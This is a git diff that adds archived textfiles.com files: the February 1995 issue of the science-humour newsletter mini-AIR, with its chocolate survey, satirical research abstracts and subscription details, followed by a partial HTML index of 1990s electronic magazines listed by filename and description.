mini-AIR, etc.(*) + +mini-AIR is an monthly electronic supplement to The Annals of +Improbable Research (AIR). It is available over the Internet, +free of charge. To subscribe, send a brief E-mail message to: + LISTSERV@MITVMA.MIT.EDU +The body of your message should contain ONLY the words + SUBSCRIBE MINI-AIR MARIE CURIE +(You may substitute your own name for that of Madame Curie.) +------------------------------------------------------------ +To stop subscribing, send the following message: + SIGNOFF MINI-AIR +To obtain a list of back issues, send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00006,send this message: + GET MINI-AIR 94-00006 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: Hot AIR on the World Wide Web +The URL is: +http://web.mit.edu/afs/athena/org/i/improb/www/home.html + +::::: AIR extracts on USENET + +The USENET news group clari.feature.imprb_research presents a +syndicated weekly column of reports extracted from The Annals of +Improbable Research. The material presented there is different +from what appears here in mini-AIR. [Please note: The newsgroup is +available to you if and only if your Internet site subscribes to +the Clarinet newsgroups.] + + +--------------------------- +1995-01-15 AIR's Mailing and Internet Addresses + +The Annals of Improbable Research (AIR) +The MIT Museum +265 Massachusetts Ave., Cambridge, MA 02139 USA + +Subscriptions: (617) 253-4462 fax:(617)253-8994 mitshop@mit.edu +Editorial: 617) 253-8329 air@mit.edu + +PLEASE include your Internet address +in all printed correspondence. + + +--------------------------- +1995-01-16 Please make copies! (*) + +We urge you to distribute copies of mini-AIR or excerpts from it. +The only limitations are: +A) Please indicate that the material appeared in mini-AIR and is + reprinted with permission. +B) You do NOT have permission to copy or excerpt this document + for commercial purposes. + +------------------------------------------------------------ +(c) copyright 1995, The Annals of Improbable Research +------------------------------------------------------------ + +------------- +mini-AIRheads +------------- +Editor: Marc Abrahams (marca@mit.edu) +WWW Editor/Global Village Idiot: Amy Gorin (ringo@mit.edu) +Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick +Technical Difficulties: Diego Garcia, Francesca Thurston +AIRhead researchers: Nicki Sorel, Nickoli Mnot, Chip LaChien +Authority Figure: Barbara Linden + + ============================================================ + IMPORTANT -- The Annals of Improbable Research is IN NO WAY + associated with the name "The Journal of Irreproducible + Results" or with the publisher of "The Journal of + Irreproducible Results" + ============================================================ diff --git a/textfiles.com/magazines/MINIAIR/mair9502.txt b/textfiles.com/magazines/MINIAIR/mair9502.txt new file mode 100644 index 00000000..d937f19b --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair9502.txt @@ -0,0 +1,606 @@ +From MITVMA.MIT.EDU!witch!@uga.cc.uga.edu:owner-mini-air Sun Feb 12 16:09:32 1995 remote from witch +Received: by modemnews.win.net for +Received: from uga.cc.uga.edu by witch.witchcraft.com id AA13364 + (5.65/1.35 for ); Sun, 12 Feb 95 16:09:18 -0500 +Message-Id: <9502122109.AA13364@witch.witchcraft.com> +Received: from UGA.CC.UGA.EDU by uga.cc.uga.edu (IBM VM SMTP V2R2) + with BSMTP id 8469; Sun, 12 Feb 95 16:04:39 EST +Received: from UGA.CC.UGA.EDU (NJE origin LISTSERV@UGA) by UGA.CC.UGA.EDU (LMail V1.2a/1.8a) with BSMTP id 2597; Sun, 12 Feb 1995 15:56:50 -0500 +Date: Sun, 12 Feb 1995 15:53:05 EST +Reply-To: witch!MIT.EDU!MARCA +Sender: The Mini-Annals of Improbable Research +From: The Annals of Improbable Research +Subject: mini-AIR Feb 95 -- Chocolate prefs; Dead in the classroom; Hubbard +To: Multiple recipients of list MINI-AIR + +REPLY-TO: witch!MIT.EDU!MARCA +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ + + +================================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1995-02 +February, 1995 +ISSN 1076-500X +Key words: improbable research, science humor, Ig Nobel, AIR +---------------------------------------------------------------- +A monthly supplement to The Annals of Improbable Research (AIR), +the journal of inflated research and personalities +published by The MIT Museum +================================================================ + +----------------------------- +1995-02-01 TABLE OF CONTENTS + +1995-02-01 Table of Contents +1995-02-02 AIRhead News Flashes and Flushes +1995-02-03 Valentine's Chocolate Survey: Phase I Results +1995-02-04 Selected Abstracts from AIR 1:2 +1995-02-05 In re L. Ron Hubbard +1995-02-06 Studmuffins of Science +1995-02-07 Missing Matter +1995-02-08 AIRhead Project 2000: preliminary results +1995-02-09 May We Recommend... +1995-02-10 AIRhead Events +1995-02-11 Calls for Papers +1995-02-12 Teachers' Guide +1995-02-13 What is AIR? (*) +1995-02-14 How to Subscribe to AIR(*) +1995-02-15 How to Receive mini-AIR, etc.(*) +1995-02-16 AIR's Mailing and Internet Addresses (*) +1995-02-17 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1995-02-02 AIRhead News Flashes and Flushes + +A. The official AIRhead German language slogan, "Luft, luft, +nichts als luft," which was announced in mini-AIR 1995-01, has +become the source of disputatious consternation. A typographical +error, compounded by the obscurity of the quotation source, +infuriated or inspired many readers, especially Dr. W-------f from +Munich, who kindly mailed us an autographed sixteen volume set of +his German grammar textbooks. Our thanks to him. + +B. A photograph of the Pop-Up Medical Thermometer is featured as +this month's new poster in Hot AIR, our WWW home page. The +thermometer, described in detail in AIR 1:1, is a prime example of +technology transfer (in this case, from the poultry industry). + +C. We are in dire need of interns, volunteers, and lost souls to +assist the editor. If you within driving distance of the MIT +Museum, have a few spare hours a month, and would like to impose +your mark on science history and yourself on the editor, please +contact us. + +D. The Gallery of Bearded Men, our project to document nature's +full range of bearded men, is now accepting photographs. The +Gallery will eventually go on display in our WWW home page, and +will become the subject of a scholarly analysis in AIR itself. +All bearded men whose photos are included in the Gallery will be +invited to be part of the official Bearded Men delegation to this +October's Ig Nobel Prize Ceremony. + +C. We are preparing a report on Improbable Research at Cold +Spring Harbor Laboratory. This will be the first in a chronic +series of reports devoted to improbable research at the world's +great scientific and medical institutions. Each report will be +accompanied by a review of the cafeteria. + +B. The second issue of AIR will be emerging from our subterranian +printing press later this month. In response to questions from +several (proudly) confused readers, let us clarify that: Yes, the +continuing existence of AIR and mini-AIR depends entirely on paid +subscriptions to AIR. We hope you will subscribe, for the sake of +future generations. + +A. A special thank you to the gentleman at CERN in Geneva who +shipped us his collection of autographed socks from members of the +European physics community. + +B. Please be assured that we DO read all of our incoming +correspondence. However, the amount we receive far surpasses our +ability to send replies. If you really, really need a response, +please so indicate thank you very much yes indeed and please +accept our humble apologies sorry about that chief. + + +------------------------------------------------------------ +1995-02-03 Valentine's Chocolate Survey: Phase I Results + +1088 people participated in Phase I of the 1995 AIR St Valentine's +chocolate survey. We would like to thank each and every one of you +- especially those who were kind enough to vote more than once. + +73.27% of respondents were male; 25.42% were female; 1.03% could +not or would not reveal their gender; 0.28% claimed to be both. + +AGGREGATE PREFERENCES +62.34% prefer dark chocolate, 33.37% prefer milk chocolate, 1.03% +voted for white chocolate, 1.78% were undecided. In addition, +there was one vote each for light turkey, light beer, dark beer, +marzipan and chocolate licorice. One person preferred the white +chocolate in the form of a bunny. Two votes were of the X-rated +variety. The answer "yes" was given twice. + +We also received one Haiku. + +There was one person who reported being born on Valentine's Day, +and one person who reported being lactose intolerant and who +considers milk chocolate to be the spawn of Satan. Seven people +pointed out that we confused sex with gender and one gave the +following reference: "Miss Manners' Guide for the Turn of the +Millenium," by Judith Martin, page 192. One person suggested an +age factor be brought into the study, and two people recommended +we examine the gender of the chocolate, i.e. with or without nuts. + +As you may have noticed, we added white chocolate into the survey +even though it was omitted from the original questionaire. This +was suggested by a number of individuals, not all of whom voted +for white chocolate. On the other hand, we recieved the following +comment "White chocolate is an aberrant albino abomination which +I'm glad to see you're ignoring." + +The detailed results of Phase I: + +FEMALES +64.34% preferred dark chocolate +31.25% went for milk +01.10% for white chocolate +01.84% split their vote in favor of a dark milk chocolate +00.64% were undecided or other + +MALES +62.37% preferred dark chocolate +34.31% preferred milk chocolate +01.02% preferred white chocolate +10.2% split for dark milk +00.64% were undecided or other + +HERMAPHRODITES +66.67% went for dark chocolate +33.33% chose milk chocolate + +UNKNOWN/OTHER +9.09% went for dark and milk respectively +27.27% opted for dark milk +54.44% were undecided or other + +We leave it to educated readers to perform their own chi-square +tests. + +Phase II of the survey is being conducted by ABC-TV's World News +Now program, and on a continuing basis via our WWW home page. +Results will be reported in a future issue of mini-AIR. + + +------------------------------------------------------------ +1995-02-04 Selected Abstracts from AIR 1:2 + +Selected abstract from articles published in the March/April 1995 +issue (vol. 1, no. 2) of The Annals of Improbable Research. For +details and accompanying photographs and data, see the issue +itself. + +"Effectiveness of Chinese Fortune Cookies, " by Robert Feldman. +The author conducted experiments to determine the effectiveness of +Chinese fortune cookies at predicting the future. The results +were conclusive, and unexpected. + +"Xerox Enlargement Microscopy (XEM)," by David P. Cann and Phillip +Pruna. A revolutionary new microscopy technique makes it possible +to achieve subatomic resolution levels by using standard copying +machines. The process consists of iterative enlargements of +enlargements. The authors present several examples, including a +15,392 magnification image of ferroelectric barium titanate and a +1,367,481 X image of a deuterium ion. + +"The Dead in the Classroom," by Stephen Rushen. To an early +morning freshman economics class of thirty live students, fifteen +dead students were added. Performance of both live and dead +students was observed through the course of the semester. Data +are presented in the categories of: attendance; behavior; +participation; and exam scores. In three of the four areas, the +dead students' performance was the equal of, if not superior to, +that of their living peers. + +"Cindy Crawford Discovers," a new regular column written by Alice +Shirrell Kaswell. Kaswell reports on the scientific efforts and +achievements of supermodel Cindy Crawford and her ilk, as +documented in published works in the research journals "Vogue," +"Cosmopolitan," "Elle," etc. This premiere column concerns +certain of Cindy Crawford's recent discoveries in chemistry, and +more. + + +------------------------------------------------------------ +1995-02-05 In re L. Ron Hubbard + +We recently received this letter, dated 2/1/95, concerning a +recent Ig Nobel Prizewinner. The letter is reproduced here in its +entirety: + +"I recently learned that L. Ron Hubbard, the founder of +Scientology, received an 'award' from the Annals of Improbable +Research and the MIT Museum last October. + +"Few men in history have had so positive an influence upon the +lives of others through their writings as has L. Ron Hubbard. + +"Millions of individual men and women have achieved greater +abilities, success and happiness through his work. + +"Because of this workability in improving the lives of others L. +Ron Hubbard's books have been published in 32 languages and +distributed in 103 countries. To date, his works have sold a +total of 116,000,000 copies, making him one of the most acclaimed +and widely read authors of all time. + +"For more information on his works readers can feel free to +personally contact me by correspondence to The Church of +Scientology, 448 Beacon Street, Boston, MA 02115 or phone me at +617-266-9500." + + Sincerely, + Kit Finn + Community Services Director + Church of Scientology + + +------------------------------------------------------------ +1995-02-06 'Studmuffins of Science' Calendar + +by Karen Hopkin + +Attention, afficionados of the academic Adonis. The curators of +the all-new Studmuffuns of Science Calendar seek photos and +biographical blurbs on the hottest young scientists from +astrophysics to zoology. Designed to give female students and +faculty members something to ogle while they run their gels or +prepare their grants, the calendar will feature a dozen of the +smartest and sexiest science studs around. We'll show these +brainy boys at work and at play... and reveal their intimate +secrets... their favorite board games, bacterial media, ftp sites, +and pasta recipes. + +Nominate yourself. Nominate your chairman. Nominate the poor +unsuspecting slob slaving away at the lab bench next to you. +Remember, if you have a Y chromosome and a PhD, you could be Dr. +December. + +We anxiously await your entries. Please send calendar candidate +photos to: Studmuffins of Science Calendar, c/o Karen Hopkin, +Producer, Talk of the Nation: Science Friday, WNYC Radio, One +Centre Street, New York, NY 10007 or c/o The Annals of Improbable +Research (address given below). If you have any recommendations +or would be interested in getting your hands on a copy of the +steamiest science calender ever conceived, drop us a line at +khopkin@npr.org. + + +------------------------------------------------------------ +1995-02-07 Missing Matter + +This space intentionally left nearly blank. + + +------------------------------------------------------------ +1995-02-08 AIRhead Project 2000: preliminary results + +As announced in mini-AIR 1994-02-03 (June, 1993), we are compiling +a list of studies, projects, and products that involve the number +two thousand. Randomly selected items from the list include: + +ITEM # 406 (Contributed by investigator Richard Ehrenkaufer) + "Seafood 2000." A seafood (actually mostly shelfish, + clams, etc.) shack on route 24 in Swansboro, NC, + run by a nice guy named Bobby. + +ITEM # 407 (Contributed by investigator Dudley A. Horque) + "Towards 2000." Predecessor to the Australian television + programme (i.e., program) "Beyond 2000." + +ITEM # 408 (Contributed by investigator Gayle Smith-Whittington) + "MISSION2000." Volume Services's corporate initiative to + be the best food service company in the US by the year 2000. + +ITEM # 410 (Contributed by investigator Greg Erwin) + "Defence 2000." Video promoting the Dept of Defence's + [the 'c' indicates that this is Canadian] plan for + dealing with budget cuts. According to radio reports, + the video presents 'characters' composed of faces, drawn + on fingers and thumbs, who explain how the department + will fire personnel and eliminate military bases. + +ITEM # 411 (Contributed by investigator Michael Fath) + "Biosphere 2000," edited by D.G. Kaufman and C.M. Franz, + HarperCollins, College Publishers. 1993. A college + textbook on environmental science. [Note: investigator + Fath wrote the case study that appears on pp. 334-336.] + +ITEM # 412 (Contributed by investigator Stephen C. Trier) + "NCIC 2000," National Crime Information Computer 2000. + The FBI's plan to provide data communications equipment + procurement specifications. + +ITEM # 414 (Contributed by investigator David Baron) + "Systematics Agenda 2000." An ambitious, if vague, + project of the American Society of Plant Taxonomists, + the Society of Systematic Biologists, and the Willi + Hennig Society to catalog the world's biodiversity. + +ITEM # 415 (Contributed by investigator Ian Young) + "Linhof Master Technika 2000." Modern large format + technical camera. + +ITEM # 416 (Contributed by investigator Doug Lindholm) + "Gladiators 2000." Children's TV program that is + promoted as being "American Gladiators for kids." + + +----------------------------------------------------------- +1995-02-09 May We Recommend... + +Research reports that merit a trip to the library: + +"Cannabis in the Ear--the Legal Aspects," by S.R. Saeed, M.S. +Timms, and T. J. Woolford, "Journal of Laryngology & Otology," +vol. 107, no. 10, 1993, p. 979. (Thanks to John Carne for +bringing this to our attention.) + +"Optimal Replacement of GMC Bus Engines: An Empirical Model of +Harold Zurcher," by John Rust, "Econometrica," vol. 55, no. 5, +Sept. 1987. The research concerns the replacement of internal +combustion engines, not of Mr. Zurcher. The author's name is +apparently genuine. [NOTE: This paper won the 1992 Frisch medal +given by the Econometric Society, announced on p. 1443 of the Nov. +1992 issue of "Econometrica," vol. 60, no. 6, Nov. 1992, p. 1443. +(Thanks to Arthur Lewbel for bringing this to our attention.) + +"Data manipulation: Dr. Factifuge Meets the Three Stooges," by +P.F. Dillon, "Perspectives in Biology and Medicine," vol. 33, +1990, pp. 231-236. The paper concerns how to deal with a changing +baseline. (Thanks to Joe Clark for bringing this to our +attention.) + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +----------------------------------------------------------- +1995-02-10 AIRhead Events + +ABC-TV WORLD NEWS NOW 2 am - 5 am weekdays +AIR's editor and various other AIRheads present regular and +irregular research reports on ABC's live insomniac news program. +Dates and times are scheduled haphazardly, if at all. Call your +local ABC television station for details. + +NEW ENGLAND SCIENCE FICTION ASSOCIATION Sat, Feb 18, 1:30 +Keynote address / improbable research seminar / slide show. +Sheraton Tara, Framingham, MA +Info: Deb Geisler 617-625-2311 (d.geisler@acad.suffolk.edu) + +MENSA OF CENTRAL NJ Sat, Mar 4, 7:30 +Keynote address / improbable research seminar / slide show. +Sheraton, Woodbridge, NJ +Info: 908-297-5492 matray@watson.bms.com + +1995 IG NOBEL PRIZE CEREMONY Thurs, Oct 5 + +INTERSOCIETY POLYMER CONFERENCE Tues, Oct 10 +Keynote address / improbable research seminar / slide show. +Stouffer Harborplace Hotel, Baltimore, MD +Info: (518) 387-7942 + +*** If you would like to host an +*** improbable research seminar / slide show +*** please get in touch with us. + + +--------------------------------------------------------------- +1995-02-11 Calls for Papers + +CALL FOR PHOTOMICROGRAPHS of cells and other microscopic +structures and substructures that resemble African predators +(lions, tigers, giraffes, wildebeest, etc.). + +CALL FOR NOMINATIONS for the 1995 Ig Nobel Prizes. +Prizes are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. Please include +documentation. + + +-------------------- +1995-02-12 Teachers' Guide * + +[We might repeat this section in future issues. Then again, we +might not. Please pass it on to any teacher friend who would find +it useful.] + +Three out of five teachers agree: curiosity is a dangerous thing, +especially in students. If you are one of the other two teachers, +AIR and mini-AIR can be powerful tools. Choose your favorite +hAIR-raising article and give copies to your students. The +approach is simple. The scientist thinks that he (or she, or +whatever), of all people, has discovered something about how the +universe behaves. So: + +* Is this scientist right -- and what does "right" mean, anyway? +* Can you think of even one different explanation that works + as well or better? +* Did the test really, really, truly, unquestionably, completely + test what the author thought he was testing? +* Is the scientist ruthlessly honest with himself about how well + his idea explains everything, or could he be suffering from + wishful thinking? + +Kids are naturally good scientists. Help them stay that way. + + +--------------------------------------------------------------- +1995-02-13 WHAT IS AIR? (*) + +The Annals of Improbable Research (AIR) is a splendid educational +magazine produced by the entire former editorial staff (1955-1994) +of "The Journal of Irreproducible Results." AIR's co-founders are +Marc Abrahams, who edited the Journal from 1990-1994, and +Alexander Kohn, who founded the Journal in 1955 and was its editor +until 1989. AIR is published by the MIT Museum in Cambridge, MA. +The editorial board consists of more than 40 distinguished +scientists from around the world including seven Nobel Laureates +and a convicted felon. Each October, AIR produces the Ig Nobel +Prize Ceremony at MIT, honoring people whose achievements cannot +or should not be reproduced. + + +--------------------------- +1995-02-14 How to Subscribe to AIR(*) + +Amaze your colleagues. Delight your friends. Impress yourself. +Subscribe to The Annals of Improbable Research (AIR)! + +Put more AIR in the lab, the classroom, the office, the waiting +room, the library, the living room, the restroom, ...the detention +center. And it makes a lovely gift of the most unexpected kind. + + =========================================================== + =========================================================== +Please send a subscription to The Annals of Improbable Research +for a period of (check one): + ___ 1 year (six issues) ___ 2 years (twelve issues) + +Name: +Addr: +Addr: +City: State: ZIP: +Country: +Phone: FAX: +Email address: + +Payment method: + ___ Mastercard ___ Visa ___ American Express + Card #: Exp. date: + (If you prefer not to send your credit card number + via email, please fax, phone or mail in your order. + We do accept PGP-encoded order forms.) + + ___Check (drawn on US bank) or int'l money order is + enclosed. + +___ This is a gift from: + + Name: + Addr: + Addr: + City: State: ZIP: + Country: + Phone (voice): FAX: + Email address: + ___Send renewal notice to me. + ___Send renewal notice to my beneficiary. + +Rates (in US dollars) +USA 1 year - $19.95 2 years - $34.95 +Canada/Mexico 1 year - $27 2 years - $45 +Overseas 1 year - $40 2 years - $70 + +Total payment enclosed: + +Send payment to the Annals of Improbable Research (AIR), via + +Email: mitshop@mit.edu + +FAX: (617) 253-8994 + +Mail: The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +Phone: (617) 253-4462 + + +--------------------------- +1995-02-15 How to Receive mini-AIR, etc.(*) + +mini-AIR is an monthly electronic supplement to The Annals of +Improbable Research (AIR). It is available over the Internet, +free of charge. To subscribe, send a brief E-mail message to: + LISTSERV@MITVMA.MIT.EDU +The body of your message should contain ONLY the words + SUBSCRIBE MINI-AIR MARIE CURIE +(You may substitute your own name for that of Madame Curie.) +------------------------------------------------------------ +To stop subscribing, send the following message: + SIGNOFF MINI-AIR +To obtain a list of back issues, send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00006,send this message: + GET MINI-AIR 94-00006 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: Hot AIR on the World Wide Web +The URL is: +http://web.mit.edu/afs/athena/org/i/improb/www/home.html + +::::: AIR extracts on USENET + +The USENET news group clari.feature.imprb_research presents a +syndicated weekly column of reports extracted from The Annals of +Improbable Research. The material presented there is different +from what appears here in mini-AIR. [Please note: The newsgroup is +available to you if and only if your Internet site subscribes to +the Clarinet newsgroups.] + + +--------------------------- +1995-02-16 AIR's Mailing and Internet Addresses + +The Annals of Improbable Research (AIR) +The MIT Museum +265 Massachusetts Ave., Cambridge, MA 02139 USA + +Subscriptions: (617) 253-4462 fax:(617)253-8994 mitshop@mit.edu +Editorial: 617) 253-8329 air@mit.edu + +PLEASE include your Internet address +in all printed correspondence. + + +--------------------------- +1995-02-17 Please make copies! (*) + +We urge you to distribute copies of mini-AIR or excerpts from it. +The only limitations are: +A) Please indicate that the material appeared in mini-AIR and is + reprinted with permission. +B) You do NOT have permission to copy or excerpt this document + for commercial purposes. + +------------------------------------------------------------ +(c) copyright 1995, The Annals of Improbable Research +------------------------------------------------------------ + +------------- +mini-AIRheads +------------- +Editor: Marc Abrahams (marca@mit.edu) +WWW Editor/Global Village Idiot: Amy Gorin (ringo@mit.edu) +Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick +Technical Difficulties: Diego Garcia, Francesca Thurston +Co-conspirators: Gary Dryfoos,Chip LaChien +Authority Figure: Barbara Linden + + ============================================================ + IMPORTANT -- The Annals of Improbable Research is IN NO WAY + associated with the name "The Journal of Irreproducible + Results" or with the publisher of "The Journal of + Irreproducible Results" + ============================================================ diff --git a/textfiles.com/magazines/MISC.1 b/textfiles.com/magazines/MISC.1 new file mode 100644 index 00000000..b920b9df --- /dev/null +++ b/textfiles.com/magazines/MISC.1 @@ -0,0 +1,262 @@ + +T E X T F I L E S + +

Unsorted Electronic Magazines

+

+Some of these magazines inspire very little energy to give them their own sections. +Others have come to me in pieces, with this issue and that issue being found around +the internet. Some of them are just here to stop off waiting for my time to add them +to the main magazine section. Regardless, they're all stored here and for the curious +they're available to browse before they join the rest. +

+ + + + +
+
Filename
Size
Description of the Textfile
1.strangeness 80885
 Welcome to Strangeness Issue #1 (October 30, 1994) +
2.strangeness 40080
 Welcome to Strangeness Issue #2 +
3.strangeness 115514
 Welcome to Strangeness Issue #3 (November 13, 1994) +
abuse-01.txt 46981
 Abuse Magazine, Issue #1 (February 1993) +
alembic2.txt 82944
 The Alembic, Second Edition Summer 1989 Issue +
alembic3.txt 73728
 The Alembic, Third Edition Autumn 1989 Issue +
alf.nfo 7044
 NFO: AC-Find v1.0 by the Anti-Lamers Foundation (July 23, 1994) +
alive_0.txt 24154
 ALIVE (Virus Magazine) Issue #1, by Suzana Stojakovic-Celustka (March, 1994) +
alliance 89125
 The Guide to a Better Society Volume #1 Issue #1 by Alliance Productions (August, 1991) +
alliance.000 37120
 The Guide to a Better Society Volume #1 Issue #1 by Alliance Productions (Template) +
allnoall.001 19562
 ALL Zine, Issue #1, (October 17, 1992) +
allnoall.002 27707
 ALL Zine Issue #2, (April 13, 1993) +
anarchives_2_2_1.txt 26732
 The Anarchives: Volume 2 Issue 2 Part 1 +
anarchives_2_2_2.txt 15622
 The Anarchives: Volume 2 Issue 2 Part 2 +
anarchives_2_2_3.txt 31496
 The Anarchives: Volume 2 Issue 2 Part 3 +
apinews1.txt 7208
 A.P.I: American Pirate Industries Volume 1, July 1989 +
apinews2.txt 5724
 API: American Pirate Newsletter Issue #2 +
asian_voices93.stx 136160
 Asian Voices Volume 6 (1993) +
assem1-1.txt 21486
 Assemblage Issue #1 (November 1992) +
assem1-2.txt 24850
 Assemblage Issue 2 (November 1992) +
assem1-3.txt 15028
 Assemblage Issue 3 (November 1992) +
asylum.lit 4091
 The first Asylum Literature Pack Introduction (August 6, 1994) +
at-01.txt 44063
 Anarchy Today Issue #1 by Jack the Ripper: Acetone Peroxide Explosive +
barney1.txt 14332
 ABL's Barney Must Die Newsletter #1 +
bluebook.txt 170931
 Project Bluebook Unknowns Part 1 by Don Allen (July 4, 1991) +
brain.nov 9344
 Brain Waves Viewpoint, by Alex Jacobson, President of Inference Corportation (November 1986) +
break1n1.txt 34057
 Breakaway: Debates on Modern Marxism Volume 1, Issue 1 (May 1994) +
break1n2.txt 34083
 Breakaway: Debates on Modern Marxism Volume 1, Issue 2 (June/July 1994) +
break1n3.txt 41614
 Breakaway: Debates on Modern Marxism Volume 1, Issue 3 (August/September 1994) +
break2n1.txt 30772
 Breakaway: Debates on Modern Marxism Volume 2, Issue 1 (November 1994) +
bs0294.txt 26220
 Bad Section Issue #1 (February 1994) +
bs0594t.txt 23085
 Bad Sector Volume 1 Issue 4 Series 1 (May 1994) +
btw.app 3017
 Application to Join Bizzare Types of Wares +
btw.nfo 8586
 BEER Issue #1 by Bizzare Types of Warez +
callanon.ant 6163
 Calling Anonymously, by Antediluvian (1994) +
cd02jan.txt 52648
 Carrier Detect: The PC Communications Journal for Every Modem User (Volume 2, Winter 1992) +
combat.gÝd 2784
 How to Win in a Combat Situation, by Iceman of GiD Productions +
contact 796
 How to Contact the Bizzare Types of Warez +
core2.04 27752
 CORE: Volume 2, Issue 4: An Electronic Journal of Poetry, Fiction, Essays and Criticism +
core2.05 28763
 CORE Volume #2 Issue #5 (April 24, 1993) +
cropd-01.txt 36412
 Cropduster Issue #1 (1992) +
cropd-02.txt 138653
 Cropduster Issue 2 (1993) +
cvm0201.txt 198704
 Cyberspace Vanguard (Volume 2, Issue 1) (January 21, 1994) +
cvm0202.txt 183671
 Cyberspace Vanguard (Volume 2, Issue 2) (March 31, 1994) +
cyber.v3 91335
 Cyberspace Vanguard: News and Views of the Science Fiction and Fantasy Universe Issue #3 (March 5, 1993) +
das-007.txt 15686
 The Digital Anarchists' Society File #7: Renegade Hack by Mad Arab +
daskvote.txt 2885
 Voting for the Demo Scene (Application) +
db10.txt 11641
 Dreamboy! Issue #10 (march 1, 1995) +
db5.txt 22165
 Dreamboy! Issue #5 (October 1994) +
db7.txt 12853
 Dreamboy! Issue #7 (December 1994) +
db8.txt 16680
 Dreamboy! Issue #8 (January 1995) +
db9.txt 17081
 Dreamboy! Issue #9 (February 1995) +
deton.bom 3530
 Digital Detonators by Balin of BOM Squad (April 22, 1993) +
dgrd--01.txt 25422
 Digital Games Review Digest, Number 1 (April 17, 1990) +
dgrd--02.txt 36052
 Digital Games Review Digest, Number 2 (April 26, 1990) +
dgrd--03.txt 34188
 Digital Games Review Digest, Number 3 (May 16th, 1990) +
difi-1.txt 29704
 Dial 'I' for Information, Issue #1, by The Phone Phantom (July 31, 1993) +
digital.asc 4434
 Neil Sorenson Announces the Digital Edition of The Mouth of Xibalba +
dishnews.504 42480
 Dishcetera: The Satellite TV Industry Online Magazines Volume 5 Issue 4 (February 1, 1993) +
dm-001.txt 9647
 Dancing Monica Issue #1 +
dm-002.txt 8312
 Damaged Mind Issue #2 +
dna.nfo 5377
 DnA Magazine by Pazuzu (August 3, 1993) +
dose002.txt 5147
 Dose Issue #2: "The Evils of Business Corporations" by RAGE (December 1, 1994) +
drain100.txt 25856
 The Drain Ezine Issue #1 (December 1, 1992) +
dst.nfo 5358
 NFO: Distortion Membership List (1994) +
emc-1.txt 15984
 The Martian Chronicle, Issue #1, March 1990 +
emc-2.txt 17024
 The Martian Chronicle, Issue #2, April 1990 +
emc-3.txt 12928
 The Martian Chronicle, Issue #3, July 1990 +
emc-4.txt 8576
 The Martian Chronicle, Issue #4, August 1990 +
emc-5.txt 11136
 The Martian Chronicle, Issue #5, October 1990 +
f5930411.txt 61237
 Fringe, conspiracy and SubGenius zine reviews by Jerod Pore (March 11, 1993) +
f5930421.txt 136914
 Factsheet 5 Electric Political Zine Reviews (March 21, 1993) +
flam-f01.txt 101496
 Toxic Shock: The Fetus by Bloody Afterbirth +
flam-f2.txt 266785
 Toxic Shock: The Flaming Fetus (October 19, 199)) +
fognewsl.001 22517
 Fist of God News Issue #1 +
funhou02.txt 166131
 FUNHOUSE: The Cyberzine of Degenerate Pop Culture (June 22, 1993) +
fyi22.txt 116625
 FYI On Questions and Answers: Answers to Commonly Asked Primary and Secondary School Internet User Questions (February 1994) +
greetz.lit 5428
 Greets from the Asylum Staff to all their IRC Friends (August 6, 1994) +
grim1.txt 68113
 The Grimore: Your On-Line Guide to Magic the Gathering +
grim2.txt 109321
 The Grimore: Your On-Line Guide to Magic the Gathering +
groups.paw 3752
 Pirates Analyze Warez Announce a new Magazine +
history.txt 20700
 The Insomnia Electronic Magazine Interface History by Fade of REM +
iafl-001.txt 35467
 In a Free Land Issue #1 (Winter 1993) by Rageboy Publications +
iafl-002.txt 41347
 In a Free Land Issue #2 (January 25th, 1994) by Rageboy Publications +
iface5 15334
 Interface Issue #5 (Summer 1993) by Benjamin Henry +
index 2594
 Index to the Silicon Vortex +
inews493.txt 31138
 International Sysop's Guild Newsletter (April 1993) +
interz02.txt 15880
 Interzine Issue #2: Peter Meyer +
intzine.2 15801
 Interzine Issue #2: Peter Meyer (June 11, 1993) +
itt0206.nfo 3251
 The Internet Takeover Team .NFO File (February 6, 1995) +
itt0213.nfo 5572
 The Internet Takeover Team (February 13, 1995) +
kaos01.txt 86656
 The Chaos Advocate, Issue 1, by Mark Tanner +
lch2-001.txt 5231
 Leech Issue #2 (November 1994) +
legalhi.bom 7283
 Should Drugs Be Legal? By Mr. Sandman of the BOM Squad (October 14, 1993) +
legion-06 76830
 The Legion of Bitter Alumni Issue #6 (November 26, 1993) +
legion-07 61639
 The Legion of Bitter Alumni Issue #7 (1993) +
liminal-1.0 25293
 The Liminal Group Presents Liminal 1.0 (1992) +
liminal.v1 23626
 Liminal Issue #1, The Alternative Scholarly Culture Studies Magazine (April 17, 1993) +
liminal_1.1 59398
 The Liminal Group Presents Liminal 1.1 (1992) +
lost01.hac 68449
 Legion of Schram Today Newsletter #1 +
lost02.hac 20927
 Legion of Schram Today Newsletter #2 +
majority.txt 33853
 Operation Majority Final Release by Milton William Cooper (1989) +
message 1352
 INFO: Necronomicon Logo +
mjir93-1 47821
 The Mini-Journal of Irreproducible Results (November, 1993) +
mjir93-2 19358
 The mini-Journal of Irreproducible Results (December, 1993) +
mjir94-1 21093
 The mini-Journal of Irreproducible Results (January, 1994) +
mjir94-2 15535
 The mini-Journal of Irreproducible Results (February, 1994) +
mjir94-4 19367
 The mini-Journal of Irreproducible Results (April, 1994) +
necronomicon.1 13544
 Necronomicon Press Issue #1 +
net11.txt 22107
 Noted on the Net, Issue #11 +
neurosis.nfo 2456
 Introduction to the First Issue of Neurosis Magazine by GH +
newmag.008 974
 Newmag Issue #8 by Pip the Angry Youth +
newmag.009 986
